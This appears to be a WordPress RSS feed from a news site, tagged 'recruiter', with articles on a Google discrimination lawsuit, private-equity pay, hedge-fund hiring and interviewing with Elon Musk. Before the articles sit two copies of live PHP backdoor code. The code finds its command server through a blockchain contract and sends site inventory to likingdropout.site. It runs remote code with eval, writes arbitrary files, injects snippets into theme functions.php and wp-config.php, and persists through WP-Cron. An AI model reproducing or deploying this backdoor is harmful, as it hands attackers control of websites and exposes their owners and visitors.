// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); recruiter – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 02 Mar 2018 04:23:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png recruiter – Brief News https://briefnews.eu 32 32 Ex-Google recruiter: I was fired because I resisted “illegal” diversity efforts https://briefnews.eu/ex-google-recruiter-i-was-fired-because-i-resisted-illegal-diversity-efforts/ https://briefnews.eu/ex-google-recruiter-i-was-fired-because-i-resisted-illegal-diversity-efforts/#respond Fri, 02 Mar 2018 04:23:05 +0000 http://briefnews.eu/ex-google-recruiter-i-was-fired-because-i-resisted-illegal-diversity-efforts/

Enlarge / Employees work at the Youtube headquarters in San Bruno, California, on May, 26, 2010. (credit: GABRIEL BOUYS/AFP/Getty Images)

A former YouTube employee has sued Google—the video site’s parent company—alleging that he was wrongfully terminated from his position after he complained against hiring practices that he claimed were discriminatory against white and Asian men.

The lawsuit, which was filed in late January in San Mateo Superior Court but wasn’t reported in the media until Thursday, comes at a time when many Silicon Valley companies (including Google) are becoming increasingly cognizant of a largely male, white, and Asian workforce. Some companies have publicly said that they are trying to rectify this situation by working harder to find candidates who can do the job and who are also traditionally underrepresented minorities.

The civil complaint explains that Arne Wilberg, who is described as a 40-year-old white man by the Wall Street Journal, worked as recruiter for YouTube for seven years. In his job, Wilberg was tasked with helping to select engineering and tech talent for YouTube and Google.

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]]> https://briefnews.eu/ex-google-recruiter-i-was-fired-because-i-resisted-illegal-diversity-efforts/feed/ 0 A top private equity recruiter explains why there’s a ‘perfect storm’ for hiring right now https://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/ https://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/#respond Mon, 11 Dec 2017 15:52:23 +0000 http://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/ A line of severe storms cross the Mississippi RiverAP Photo/Lance Murphey

  • Fundraising and “dry powder” in the private-equity industry is booming.
  • This “perfect storm” has stoked demand for talent and increased compensation for junior-level employees, according to top recruitment firm Heidrick & Struggles.
  • Senior talent is as coveted as ever, but money is less of a concern and they’re harder to lure away.

Compensation is surging at private-equity firms, especially for junior-level employees, thanks to a “perfect storm” in the industry that’s fueling competition for talent, according to top Wall Street headhunting firm Heidrick & Struggles. 

The firm recently released its “2017 North American Private Equity Investment Professional Compensation Survey,” compiling compensation data from more than 600 private-equity professionals.

Fifty-four percent of respondents reported their base salary increasing from 2016 to 2017, consistent with last year’s survey figures. Associates and senior associates saw the largest increase, with salaries growing 14% to $ 125,000, followed by vice presidents with a 13% increase to $ 198,000, according to the survey. 

“That’s a reflection of the fact that fundraising has been so strong. There’s so much capital pouring into private equity right now, to a certain extent away from real estate and away from hedge funds,” Jonathan Goldstein, a partner at Heidrick & Struggles who heads their private equity practice in the Americas, told Business Insider. “The allocation to alternatives is growing, because you have so many pension funds with underfunded commitments, so everybody is looking for yield.”

Fundraising boomed in the first half of the year, with investors committing $ 113 billion to 117 US funds, according to Heidrick’s report. Dry powder stands at a staggering $ 545 billion. 

Deal-making and exits were also robust, with $ 300 billion across 1,770 completed deals, according to the report.

The influx of money to private equity and record-sized funds has created more opportunities and thus more demand for young talent. 

“This creates a perfect storm for increased hiring,” Goldstein added.

Salaries for principals increased 6% to $ 250,000, while managing directors and managing partners saw no increase. Of course, most of the compensation at these levels comes not from salary but rather from bonus and carried interest — a slice of the profits a fund generates. 

That data isn’t yet available for 2017. 

Senior private-equity talent is as coveted as ever, but the opportunities at the top are fewer and the industry’s strength has made it more difficult to lure away the best talent, according to Goldstein. 

Robust fundraising and performance has made already well-compensated managers “stickier,” and Heidrick, which focuses on hiring at the VP level or higher, reports having to reach out to two to three times as many prospective candidates as in recent years to fill positions. 

Money isn’t as much a draw at this point as a bigger platform or more influence. 

“To move requires an extraordinary opportunity,” Goldstein said. “Candidates don’t look to move from one firm or another for a slight uptick in comp.”

NOW WATCH: The CIO of a crypto hedge fund reveals why you should be cautious of the ICO bubble

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]]> https://briefnews.eu/a-top-private-equity-recruiter-explains-why-theres-a-perfect-storm-for-hiring-right-now/feed/ 0 A top hedge fund recruiter explains why your college major doesn’t really matter https://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter-2/ https://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter-2/#respond Sun, 10 Dec 2017 09:01:42 +0000 http://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter-2/ Ilana Weinstein IDW - smaller 2x1Ilana Weinstein

  • Ilana Weinstein is the founder of The IDW Group, which focuses on recruiting investment talent for all kinds of investment strategies.
  • We asked Weinstein about the biggest trends in the hedge-fund business and how to get a senior-level job today.
  • Here’s her best advice for recent college graduates looking to land jobs at a hedge fund.

llana Weinstein, founder of the The IDW Group, is a tour de force within the hedge-fund industry.

She recruits top-level talent for the world’s most prestigious investment firms including hedge funds, family offices and private equity funds.

Weinstein recently sat down with Business Insider’s hedge fund reporter Rachael Levy for a wide-ranging interview about the industry. She says your college major isn’t actually that important when it comes to landing a dream hedge fund job after graduation. Instead, it all comes down to passion. Here’s more from the interview:

Rachael Levy: What advice would you give to a young person coming out of school who wants to join a hedge fund? What kind of educational background are funds looking for now?

Ilana Weinstein: Focus on what lights you up – not the dollar signs.  There are thousands of hedge funds and most won’t make it.

There are thousands of hedge funds and most won’t make it. It’s kind of like the dot-com bubble when I was coming out of school. Unless you live and breathe investing and everything that goes on in your area of interest, this is not for you.  What I am most inspired by is passion.  This manifests itself through someone who is on fire about what is evolving in his industry, sector, how committed he is. I know it when I see it.

I wouldn’t worry much about majors.  School is a time to expand your horizons and learn how to think.  That skill set and flexibility will serve you better as an investor than any individual class.  I have had a few Founders disparage the value of an MBA.  They would rather the person spent those two years in an investing seat going through different markets.  As an MBA myself I am mixed on that but I understand the point.

You can read the full interview with Ilana Weinstein here. 

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]]> https://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter-2/feed/ 0 An ex-Tesla recruiter reveals what it’s like to interview with Elon Musk https://briefnews.eu/an-ex-tesla-recruiter-reveals-what-its-like-to-interview-with-elon-musk/ https://briefnews.eu/an-ex-tesla-recruiter-reveals-what-its-like-to-interview-with-elon-musk/#respond Wed, 29 Nov 2017 21:23:00 +0000 http://briefnews.eu/an-ex-tesla-recruiter-reveals-what-its-like-to-interview-with-elon-musk/ Elon MuskStephan Savoia/AP Images

• Former Tesla recruiter Marissa Peretz described going to work for the automaker in 2010.

• She had to interview with cofounder and CEO Elon Musk in order to land the role.

• According to Peretz, the brief, “intense” interview lasted about 12 to 13 minutes.

When Marissa Peretz got a call from Tesla in 2010, she was thrilled.

The then-seven-year-old automaker was considering bringing her on as one of its first recruiters. But before she could join the team, Peretz had to get through an interview with Tesla cofounder and CEO Elon Musk.

Peretz, who has since gone on to found Silicon Beach Talent with fellow Tesla alum Max Brown, said she wasn’t too nervous about the interview.

“I think ignorance is bliss, to some degree,” she told Business Insider. “He had the personality and presence of somebody who commanded a lot. But because he wasn’t a household name yet, I didn’t realize I was interviewing with someone like Steve Jobs. I just was interviewing with this guy who was building a company.”

Peretz met with Musk at SpaceX’s office in Hawthorne, California, and she had been told that if she lasted more than five minutes in the interview, it was a sign she “was doing okay.”

“I think I got 12 or 13 minutes or something like that,” she said. “I was so excited. It was pretty intense for those minutes.”

She said Musk tends to ask short questions, including, “Tell me about your most significant technical accomplishment, the project that you’re most proud of.”

Brown previously said this question is meant to vet a candidate’s technical expertise.

“He gives you kind of an open opportunity to impress him,” Peretz said.

In her case, Musk also asked her some recruiting-specific questions.

“He asked, ‘What makes you the right person to build my company? Why should I trust you?'” she said.

Peretz had admired Tesla since college. She worked on a project in which she had to create a business model for a electric rental car company at the University of Arizona’s Eller College of Management. One of the cars in her fictional fleet was a Tesla Roadster.

“That’s what drew me to Tesla, being part of a movement that was going to change sustainability,” she said. “I was not necessarily a car person at the beginning, though I have now converted.”

Peretz said she doesn’t remember her exact answers to Musk’s interview questions, but said her long-held enthusiasm for the company ended up serving her well.

“When I had my interview with Elon in person, I actually brought my business plan to show him,” she said. “He got a chuckle out of it and really enjoyed it. I just know that I cared so much about the mission that that’s what closed the deal for me.”

If you are a current or former Tesla employee with a story to share, email careers@businessinsider.com.

NOW WATCH: How Elon Musk makes and spends his billions

